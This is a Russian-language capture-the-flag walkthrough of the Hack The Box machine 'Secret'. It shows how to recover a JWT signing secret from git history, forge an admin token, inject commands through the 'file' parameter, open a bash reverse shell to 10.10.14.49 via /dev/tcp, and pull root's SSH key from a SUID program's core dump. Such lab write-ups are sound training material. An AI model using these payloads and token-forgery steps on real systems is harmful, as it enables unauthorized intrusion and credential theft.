Хакер - HTB Secret. Раскрываем секрет JWT
hacker_frei
RalfHacker
Содержание статьи
- Разведка
- Точка входа
- Точка опоры
- Локальное повышение привилегий
- CoreDump
На этот раз мы с тобой пройдем легкую машину с площадки Hack The Box и научимся разбирать API сайтов, формировать JWT для административного доступа и эксплуатировать инъекцию команд. Затем получим доступ к приватным данным через дамп самописного приложения.
WARNING
Подключаться к машинам с HTB рекомендуется только через VPN. Не делай этого с компьютеров, где есть важные для тебя данные, так как ты окажешься в общей сети с другими участниками.
РАЗВЕДКА
Сканирование портов
Добавляем IP-адрес машины в /etc/hosts:
10.10.11.120 secret.htb
И запускаем сканирование портов.
Справка: сканирование портов
Сканирование портов — стандартный первый шаг при любой атаке. Он позволяет атакующему узнать, какие службы на хосте принимают соединение. На основе этой информации выбирается следующий шаг к получению точки входа.
Наиболее известный инструмент для сканирования — это Nmap. Улучшить результаты его работы ты можешь при помощи следующего скрипта.
#!/bin/bash
ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
nmap -p$ports -A $1
Он действует в два этапа. На первом производится обычное быстрое сканирование, на втором — более тщательное сканирование, с использованием имеющихся скриптов (опция -A).

Нашли три открытых порта:
- 22 — служба OpenSSH 8.2p1;
- 80 — веб‑сервер Nginx 1.18.0;
- 3000 — определился как Node.js.
Пропускаем SSH и идем исследовать сайт.
Справка: брутфорс учеток
Поскольку вначале у нас нет учетных данных, нет и смысла изучать службы, которые всегда требуют авторизации (например, SSH). Единственное, что мы можем делать здесь, — это перебирать пароли брутфорсом, но машины с HTB почти всегда можно пройти по‑другому. В жизни таких вариантов может не быть, зато есть шансы подобрать пароль или получить его при помощи социальной инженерии.

На первой же странице находим кнопку Live Demo, нажатие которой ведет на страницу /api. Но к сожалению, там мы ничего не находим, кроме ошибки 404.

Скорее всего, придется фаззить домены и скрытые каталоги, но сначала закончим внешний осмотр сайта. И в самом низу главной страницы находим возможность скачать исходные коды.

ТОЧКА ВХОДА
После распаковки архива отметим для себя наличие каталога .git. Это означает, что мы можем открыть историю этого репозитория и поэтапно просмотреть все изменения кода с создания файлов.

Перед нами API, написанный на Node.js, поэтому открываем главный файл index.js.

Здесь сначала подключаются необходимые модули (строки 1–6), ниже видим импорт модулей (строки 17–18), с которыми и взаимодействует пользователь (строки 29, 31).
Мы узнали имя файла, отвечающего за аутентификацию, — /routes/auth.js. В нем содержатся обработчики запросов на авторизацию и на регистрацию. Сперва рассмотрим функцию авторизации.

Обработчик ожидает два параметра: email и password (строки 53 и 57). После проверки представленных параметров (строки 54 и 58) формируется токен JWT.
Теперь разберем регистрацию.

Обработчик ожидает три параметра: email, name и password (строки 10, 14 и 18). После проверки представленных параметров (строки 11, 15 и 19) создается объект пользователя. Проверим эти предположения, зарегистрировав пользователя и авторизовавшись от его имени.
curl -X POST -H 'Content-Type: application/json' http://secret.htb/api/user/register --data '{"email": "ralf@ralf.com", "name":"ralf88", "password":"12345678"}'

curl -X POST -H 'Content-Type: application/json' http://secret.htb/api/user/login --data '{"email": "ralf@ralf.com", "password":"12345678"}'

В итоге мы получаем токен JWT. Надо разобраться с функциями API и узнать, что мы с их помощью можем получить. Для этого перейдем к файлу routers/private.js.

В самом начале файла реализован обработчик /priv, который ожидает только один параметр — JWT. Из токена извлекается имя пользователя, и делается проверка, не админ ли это (пользователь theadmin).
Выполним запрос, ожидая получить сообщение «you are normal user».
curl -H 'auth-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2MWE3NjM5MWYyNjFiMTA0NjRlOGMwN2MiLCJuYW1lIjoicmFsZjg4IiwiZW1haWwiOiJyYWxmQHJhbGYuY29tIiwiaWF0IjoxNjM4MzYwMzAxfQ.qiSHoEwZ_zO9Q9KKFFBo0LGVdOH1xcxyjJCokn8G-oA' http://secret.htb/api/priv | jq

Все верно. Дальше в том же файле определен обработчик /logs.

Этот обработчик, кроме JWT, ожидает еще и GET-параметр file. Содержимое этого параметра будет подставлено в команду git log --oneline {file}. Это уязвимый к внедрению команд код, но эта функция доступна только для администратора.
ТОЧКА ОПОРЫ
Перед инъекцией команд нужно авторизоваться от имени администратора. Подобрать пароль, вероятно, не выйдет, поэтому нужно будет подделать токен JWT.
JSON Web Token состоит из трех частей: заголовка (header), полезной нагрузки (payload) и подписи. Заголовок и полезная нагрузка представляют собой объекты JSON, при этом нагрузка может быть любой — это именно те критические данные, которые передаются приложению. Подпись же мешает подделать данные, но, имея определенный секрет, можно подписать что угодно.
Сначала просмотрим, из чего состоит токен. Для этого используем jwt_tool. Чтобы декодировать токен, его нужно просто передать на вход этой программе.
python3 jwt_tool.py eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2MWE3NjM5MWYyNjFiMTA0NjRlOGMwN2MiLCJuYW1lIjoicmFsZjg4IiwiZW1haWwiOiJyYWxmQHJhbGYuY29tIiwiaWF0IjoxNjM4MzYwMzAxfQ.qiSHoEwZ_zO9Q9KKFFBo0LGVdOH1xcxyjJCokn8G-oA

Узнаем алгоритм (hs256) и какие пользовательские данные включены в поля payload. Нам здесь нужно изменить только параметр name. Открываем файл .env и видим, что в нем секрета нет.

Однако у нас есть Git! Для удобной работы с репозиторием можно использовать утилиту gitk, имеющую графический интерфейс. Просто запустим приложение из директории, где расположен каталог .git. Полистав ее, получаем секрет!

Теперь пришло время изменить данные в нашем токене (параметр -I). Для этого указываем:
-S— алгоритм;-pc— параметр, который мы будем изменять;-pv— значение, которое будем использовать для нашего параметра;-p— секрет, используемый для подписи;- текущий токен.
python3 jwt_tool.py -I -S hs256 -pc 'name' -pv 'theadmin' -p 'gXr67TtoQL8TShUc8XYsK2HvsBYfyQSFCFZe4MQp7gRpFuMkKjcM72CNQN4fMfbZEKx4i7YiWuNAkmuTcdEriCMm9vPAYkhpwPTiuVwVhvwE' eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2MWE3NjM5MWYyNjFiMTA0NjRlOGMwN2MiLCJuYW1lIjoicmFsZjg4IiwiZW1haWwiOiJyYWxmQHJhbGYuY29tIiwiaWF0IjoxNjM4MzYwMzAxfQ.qiSHoEwZ_zO9Q9KKFFBo0LGVdOH1xcxyjJCokn8G-oA

В результате мы получим новый токен, который сразу же проверяем на странице /api/priv.
curl -H 'auth-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2MWE3NjM5MWYyNjFiMTA0NjRlOGMwN2MiLCJuYW1lIjoidGhlYWRtaW4iLCJlbWFpbCI6InJhbGZAcmFsZi5jb20iLCJpYXQiOjE2MzgzNjAzMDF9.p2zhhhnFOPP2W6yyS8PiWz5uyRAMC5WSCxAMwbP8gI8' http://secret.htb/api/priv | jq

Бинго! Получилось выполнить запрос от имени администратора. Теперь проверим страницу /api/logs, куда передадим файл test.
curl -H 'auth-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2MWE3NjM5MWYyNjFiMTA0NjRlOGMwN2MiLCJuYW1lIjoidGhlYWRtaW4iLCJlbWFpbCI6InJhbGZAcmFsZi5jb20iLCJpYXQiOjE2MzgzNjAzMDF9.p2zhhhnFOPP2W6yyS8PiWz5uyRAMC5WSCxAMwbP8gI8' http://secret.htb/api/logs?file=test | jq

Попробуем выполнить инъекцию команды id. Для этого передадим в коде файла последовательность команд test;id:
curl -H 'auth-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2MWE3NjM5MWYyNjFiMTA0NjRlOGMwN2MiLCJuYW1lIjoidGhlYWRtaW4iLCJlbWFpbCI6InJhbGZAcmFsZi5jb20iLCJpYXQiOjE2MzgzNjAzMDF9.p2zhhhnFOPP2W6yyS8PiWz5uyRAMC5WSCxAMwbP8gI8' 'http://secret.htb/api/logs?file=test;id' | jq

И команда выполнена! Значит, пробрасываем реверс‑шелл:
bash -c "bash -i >& /dev/tcp/10.10.14.49/4321 0>&1"
Но перед этим его лучше закодировать в URLEncode (к примеру, на этом сайте).


Так мы получаем флаг пользователя.
ЛОКАЛЬНОЕ ПОВЫШЕНИЕ ПРИВИЛЕГИЙ
Чтобы было удобнее работать, возьмем приватный ключ SSH пользователя:
/home/dasith/.ssh/id_rsa
Подключимся по SSH от имени этого юзера. Теперь возникает вопрос, что делать дальше, чтобы повысить привилегии. Я обычно ищу пути для продвижения при помощи скриптов PEASS. Скачиваем скрипт для Linux, загружаем его на хост, даем привилегии и запускаем.
scp -i id_rsa ~/linpeas.sh dasith@secret.htb:/tmp/linpeas.sh
chmod +x /tmp/linpeas.sh
/tmp/linpeas.sh

Скрипт LinPEAS подсветил нам красным цветом незнакомое пользовательское приложение с выставленным битом SUID.
Справка: бит SUID
Когда у файла установлен атрибут setuid (S-атрибут), обычный пользователь, запускающий этот файл, получает повышение прав до пользователя — владельца файла в рамках запущенного процесса. После получения повышенных прав приложение может выполнять задачи, которые недоступны обычному пользователю. Из‑за возможности состояния гонки многие операционные системы игнорируют S-атрибут, установленный shell-скриптам.
Перейдя в каталог этого приложения, найдем там исходный код.

Можно сохранить его на локальный диск и открыть в каком‑нибудь удобном редакторе, я использую VS Code.
При запуске это приложение должно запросить у нас путь к файлу (строки 115–117) и передать его в dircount или filecount (строки 118–122). Затем будут вызваны функции getuid() и setuid() (строка 125). Если возникнут ошибки, активируется режим дампа памяти процесса (строка 127).

Функция filecount просто выполнит обход файла и подсчет символов.

COREDUMP
Суть этой технологии в том, что ядро создает дамп памяти процесса, если он выполнил недопустимую операцию и должен быть остановлен. Работает это так: ядро отправляет один из аварийных сигналов процессу, после чего процесс обрабатывает сигнал сам или с помощью сторонних обработчиков. Это запускает механизм ядра, который создает дамп.
Возникает идея: программа при работе в режиме привилегий может загрузить в память любой файл (нам интересен приватный SSH суперпользователя), затем пошлем сигнал экстренного завершения программы. Будет сделан полный дамп памяти, откуда можно будет достать наш ключик.
Запустим программу и укажем ей файл /root/.ssh/id_rsa.

Теперь найдем ее в списке процессов и завершим (делаем это в другом терминале). Должны получить сообщение о создании дампа.


Распакуем полученный файл .crash с помощью apport-unpack:
apport-unpack _opt_count.1000.crash /tmp/test

Нас интересует файл CoreDump. Так как ключ SSH полностью состоит из печатаемых символов, мы можем его найти с помощью утилиты strings.

Сохраняем ключ на локальный хост, назначаем права командой chmod 0600 id_rsa и подключаемся от имени рута.

Машина захвачена!
Читайте ещё больше платных статей бесплатно: https://t.me/hacker_frei